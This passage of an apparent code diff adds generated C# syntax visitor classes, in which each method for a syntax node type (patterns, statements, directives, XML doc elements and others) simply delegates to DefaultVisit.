virtual TResult VisitOrderByClause(OrderByClauseSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitOrdering(OrderingSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitSelectClause(SelectClauseSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitGroupClause(GroupClauseSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitQueryContinuation(QueryContinuationSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitOmittedArraySizeExpression(OmittedArraySizeExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitInterpolatedStringExpression(InterpolatedStringExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitIsPatternExpression(IsPatternExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitThrowExpression(ThrowExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitWhenClause(WhenClauseSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitDiscardPattern(DiscardPatternSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitDeclarationPattern(DeclarationPatternSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitVarPattern(VarPatternSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitRecursivePattern(RecursivePatternSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitPositionalPatternClause(PositionalPatternClauseSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitPropertyPatternClause(PropertyPatternClauseSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitSubpattern(SubpatternSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitConstantPattern(ConstantPatternSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitParenthesizedPattern(ParenthesizedPatternSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitRelationalPattern(RelationalPatternSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitTypePattern(TypePatternSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitBinaryPattern(BinaryPatternSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitUnaryPattern(UnaryPatternSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitListPattern(ListPatternSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitSlicePattern(SlicePatternSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitInterpolatedStringText(InterpolatedStringTextSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitInterpolation(InterpolationSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitInterpolationAlignmentClause(InterpolationAlignmentClauseSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitInterpolationFormatClause(InterpolationFormatClauseSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitGlobalStatement(GlobalStatementSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitBlock(BlockSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitLocalFunctionStatement(LocalFunctionStatementSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitLocalDeclarationStatement(LocalDeclarationStatementSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitVariableDeclaration(VariableDeclarationSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitVariableDeclarator(VariableDeclaratorSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitEqualsValueClause(EqualsValueClauseSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitSingleVariableDesignation(SingleVariableDesignationSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitDiscardDesignation(DiscardDesignationSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitParenthesizedVariableDesignation(ParenthesizedVariableDesignationSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitExpressionStatement(ExpressionStatementSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitEmptyStatement(EmptyStatementSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitLabeledStatement(LabeledStatementSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitGotoStatement(GotoStatementSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitBreakStatement(BreakStatementSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitContinueStatement(ContinueStatementSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitReturnStatement(ReturnStatementSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitThrowStatement(ThrowStatementSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitYieldStatement(YieldStatementSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitWhileStatement(WhileStatementSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitDoStatement(DoStatementSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitForStatement(ForStatementSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitForEachStatement(ForEachStatementSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitForEachVariableStatement(ForEachVariableStatementSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitUsingStatement(UsingStatementSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitFixedStatement(FixedStatementSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitCheckedStatement(CheckedStatementSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitUnsafeStatement(UnsafeStatementSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitLockStatement(LockStatementSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitIfStatement(IfStatementSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitElseClause(ElseClauseSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitSwitchStatement(SwitchStatementSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitSwitchSection(SwitchSectionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitCasePatternSwitchLabel(CasePatternSwitchLabelSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitCaseSwitchLabel(CaseSwitchLabelSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitDefaultSwitchLabel(DefaultSwitchLabelSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitSwitchExpression(SwitchExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitSwitchExpressionArm(SwitchExpressionArmSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitTryStatement(TryStatementSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitCatchClause(CatchClauseSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitCatchDeclaration(CatchDeclarationSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitCatchFilterClause(CatchFilterClauseSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitFinallyClause(FinallyClauseSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitCompilationUnit(CompilationUnitSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitExternAliasDirective(ExternAliasDirectiveSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitUsingDirective(UsingDirectiveSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitNamespaceDeclaration(NamespaceDeclarationSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitFileScopedNamespaceDeclaration(FileScopedNamespaceDeclarationSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitAttributeList(AttributeListSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitAttributeTargetSpecifier(AttributeTargetSpecifierSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitAttribute(AttributeSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitAttributeArgumentList(AttributeArgumentListSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitAttributeArgument(AttributeArgumentSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitNameEquals(NameEqualsSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitTypeParameterList(TypeParameterListSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitTypeParameter(TypeParameterSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitClassDeclaration(ClassDeclarationSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitStructDeclaration(StructDeclarationSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitInterfaceDeclaration(InterfaceDeclarationSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitRecordDeclaration(RecordDeclarationSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitEnumDeclaration(EnumDeclarationSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitDelegateDeclaration(DelegateDeclarationSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitEnumMemberDeclaration(EnumMemberDeclarationSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitBaseList(BaseListSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitSimpleBaseType(SimpleBaseTypeSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitPrimaryConstructorBaseType(PrimaryConstructorBaseTypeSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitTypeParameterConstraintClause(TypeParameterConstraintClauseSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitConstructorConstraint(ConstructorConstraintSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitClassOrStructConstraint(ClassOrStructConstraintSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitTypeConstraint(TypeConstraintSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitDefaultConstraint(DefaultConstraintSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitFieldDeclaration(FieldDeclarationSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitEventFieldDeclaration(EventFieldDeclarationSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitExplicitInterfaceSpecifier(ExplicitInterfaceSpecifierSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitMethodDeclaration(MethodDeclarationSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitOperatorDeclaration(OperatorDeclarationSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitConversionOperatorDeclaration(ConversionOperatorDeclarationSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitConstructorDeclaration(ConstructorDeclarationSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitConstructorInitializer(ConstructorInitializerSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitDestructorDeclaration(DestructorDeclarationSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitPropertyDeclaration(PropertyDeclarationSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitArrowExpressionClause(ArrowExpressionClauseSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitEventDeclaration(EventDeclarationSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitIndexerDeclaration(IndexerDeclarationSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitAccessorList(AccessorListSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitAccessorDeclaration(AccessorDeclarationSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitParameterList(ParameterListSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitBracketedParameterList(BracketedParameterListSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitParameter(ParameterSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitFunctionPointerParameter(FunctionPointerParameterSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitIncompleteMember(IncompleteMemberSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitSkippedTokensTrivia(SkippedTokensTriviaSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitDocumentationCommentTrivia(DocumentationCommentTriviaSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitTypeCref(TypeCrefSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitQualifiedCref(QualifiedCrefSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitNameMemberCref(NameMemberCrefSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitIndexerMemberCref(IndexerMemberCrefSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitOperatorMemberCref(OperatorMemberCrefSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitConversionOperatorMemberCref(ConversionOperatorMemberCrefSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitCrefParameterList(CrefParameterListSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitCrefBracketedParameterList(CrefBracketedParameterListSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitCrefParameter(CrefParameterSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitXmlElement(XmlElementSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitXmlElementStartTag(XmlElementStartTagSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitXmlElementEndTag(XmlElementEndTagSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitXmlEmptyElement(XmlEmptyElementSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitXmlName(XmlNameSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitXmlPrefix(XmlPrefixSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitXmlTextAttribute(XmlTextAttributeSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitXmlCrefAttribute(XmlCrefAttributeSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitXmlNameAttribute(XmlNameAttributeSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitXmlText(XmlTextSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitXmlCDataSection(XmlCDataSectionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitXmlProcessingInstruction(XmlProcessingInstructionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitXmlComment(XmlCommentSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitIfDirectiveTrivia(IfDirectiveTriviaSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitElifDirectiveTrivia(ElifDirectiveTriviaSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitElseDirectiveTrivia(ElseDirectiveTriviaSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitEndIfDirectiveTrivia(EndIfDirectiveTriviaSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitRegionDirectiveTrivia(RegionDirectiveTriviaSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitEndRegionDirectiveTrivia(EndRegionDirectiveTriviaSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitErrorDirectiveTrivia(ErrorDirectiveTriviaSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitWarningDirectiveTrivia(WarningDirectiveTriviaSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitBadDirectiveTrivia(BadDirectiveTriviaSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitDefineDirectiveTrivia(DefineDirectiveTriviaSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitUndefDirectiveTrivia(UndefDirectiveTriviaSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitLineDirectiveTrivia(LineDirectiveTriviaSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitLineDirectivePosition(LineDirectivePositionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitLineSpanDirectiveTrivia(LineSpanDirectiveTriviaSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitPragmaWarningDirectiveTrivia(PragmaWarningDirectiveTriviaSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitPragmaChecksumDirectiveTrivia(PragmaChecksumDirectiveTriviaSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitReferenceDirectiveTrivia(ReferenceDirectiveTriviaSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitLoadDirectiveTrivia(LoadDirectiveTriviaSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitShebangDirectiveTrivia(ShebangDirectiveTriviaSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitNullableDirectiveTrivia(NullableDirectiveTriviaSyntax node) + { + return DefaultVisit(node); + } +} +internal abstract class CSharpSyntaxVisitor +{ + public virtual void Visit(CSharpSyntaxNode node) + { + node?.Accept(this); + } + + public virtual void VisitToken(SyntaxToken token) + { + DefaultVisit(token); + } + + public virtual void VisitTrivia(SyntaxTrivia trivia) + { + DefaultVisit(trivia); + } + + public virtual void DefaultVisit(CSharpSyntaxNode node) + { + } + + public virtual void VisitIdentifierName(IdentifierNameSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitQualifiedName(QualifiedNameSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitGenericName(GenericNameSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitTypeArgumentList(TypeArgumentListSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitAliasQualifiedName(AliasQualifiedNameSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitPredefinedType(PredefinedTypeSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitArrayType(ArrayTypeSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitArrayRankSpecifier(ArrayRankSpecifierSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitPointerType(PointerTypeSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitFunctionPointerType(FunctionPointerTypeSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitFunctionPointerParameterList(FunctionPointerParameterListSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitFunctionPointerCallingConvention(FunctionPointerCallingConventionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitFunctionPointerUnmanagedCallingConventionList(FunctionPointerUnmanagedCallingConventionListSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitFunctionPointerUnmanagedCallingConvention(FunctionPointerUnmanagedCallingConventionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitNullableType(NullableTypeSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitTupleType(TupleTypeSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitTupleElement(TupleElementSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitOmittedTypeArgument(OmittedTypeArgumentSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitRefType(RefTypeSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitScopedType(ScopedTypeSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitParenthesizedExpression(ParenthesizedExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitTupleExpression(TupleExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitPrefixUnaryExpression(PrefixUnaryExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitAwaitExpression(AwaitExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitPostfixUnaryExpression(PostfixUnaryExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitMemberAccessExpression(MemberAccessExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitConditionalAccessExpression(ConditionalAccessExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitMemberBindingExpression(MemberBindingExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitElementBindingExpression(ElementBindingExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitRangeExpression(RangeExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitImplicitElementAccess(ImplicitElementAccessSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitBinaryExpression(BinaryExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitAssignmentExpression(AssignmentExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitConditionalExpression(ConditionalExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitThisExpression(ThisExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitBaseExpression(BaseExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitLiteralExpression(LiteralExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitMakeRefExpression(MakeRefExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitRefTypeExpression(RefTypeExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitRefValueExpression(RefValueExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitCheckedExpression(CheckedExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitDefaultExpression(DefaultExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitTypeOfExpression(TypeOfExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitSizeOfExpression(SizeOfExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitInvocationExpression(InvocationExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitElementAccessExpression(ElementAccessExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitArgumentList(ArgumentListSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitBracketedArgumentList(BracketedArgumentListSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitArgument(ArgumentSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitExpressionColon(ExpressionColonSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitNameColon(NameColonSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitDeclarationExpression(DeclarationExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitCastExpression(CastExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitAnonymousMethodExpression(AnonymousMethodExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitSimpleLambdaExpression(SimpleLambdaExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitRefExpression(RefExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitParenthesizedLambdaExpression(ParenthesizedLambdaExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitInitializerExpression(InitializerExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitImplicitObjectCreationExpression(ImplicitObjectCreationExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitObjectCreationExpression(ObjectCreationExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitWithExpression(WithExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitAnonymousObjectMemberDeclarator(AnonymousObjectMemberDeclaratorSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitAnonymousObjectCreationExpression(AnonymousObjectCreationExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitArrayCreationExpression(ArrayCreationExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitImplicitArrayCreationExpression(ImplicitArrayCreationExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitStackAllocArrayCreationExpression(StackAllocArrayCreationExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitImplicitStackAllocArrayCreationExpression(ImplicitStackAllocArrayCreationExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitCollectionExpression(CollectionExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitExpressionElement(ExpressionElementSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitSpreadElement(SpreadElementSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitQueryExpression(QueryExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitQueryBody(QueryBodySyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitFromClause(FromClauseSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitLetClause(LetClauseSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitJoinClause(JoinClauseSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitJoinIntoClause(JoinIntoClauseSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitWhereClause(WhereClauseSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitOrderByClause(OrderByClauseSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitOrdering(OrderingSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitSelectClause(SelectClauseSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitGroupClause(GroupClauseSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitQueryContinuation(QueryContinuationSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitOmittedArraySizeExpression(OmittedArraySizeExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitInterpolatedStringExpression(InterpolatedStringExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitIsPatternExpression(IsPatternExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitThrowExpression(ThrowExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitWhenClause(WhenClauseSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitDiscardPattern(DiscardPatternSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitDeclarationPattern(DeclarationPatternSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitVarPattern(VarPatternSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitRecursivePattern(RecursivePatternSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitPositionalPatternClause(PositionalPatternClauseSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitPropertyPatternClause(PropertyPatternClauseSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitSubpattern(SubpatternSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitConstantPattern(ConstantPatternSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitParenthesizedPattern(ParenthesizedPatternSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitRelationalPattern(RelationalPatternSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitTypePattern(TypePatternSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitBinaryPattern(BinaryPatternSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitUnaryPattern(UnaryPatternSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitListPattern(ListPatternSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitSlicePattern(SlicePatternSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitInterpolatedStringText(InterpolatedStringTextSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitInterpolation(InterpolationSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitInterpolationAlignmentClause(InterpolationAlignmentClauseSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitInterpolationFormatClause(InterpolationFormatClauseSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitGlobalStatement(GlobalStatementSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitBlock(BlockSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitLocalFunctionStatement(LocalFunctionStatementSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitLocalDeclarationStatement(LocalDeclarationStatementSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitVariableDeclaration(VariableDeclarationSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitVariableDeclarator(VariableDeclaratorSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitEqualsValueClause(EqualsValueClauseSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitSingleVariableDesignation(SingleVariableDesignationSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitDiscardDesignation(DiscardDesignationSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitParenthesizedVariableDesignation(ParenthesizedVariableDesignationSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitExpressionStatement(ExpressionStatementSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitEmptyStatement(EmptyStatementSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitLabeledStatement(LabeledStatementSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitGotoStatement(GotoStatementSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitBreakStatement(BreakStatementSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitContinueStatement(ContinueStatementSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitReturnStatement(ReturnStatementSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitThrowStatement(ThrowStatementSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitYieldStatement(YieldStatementSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitWhileStatement(WhileStatementSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitDoStatement(DoStatementSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitForStatement(ForStatementSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitForEachStatement(ForEachStatementSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitForEachVariableStatement(ForEachVariableStatementSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitUsingStatement(UsingStatementSyntax node) + { + 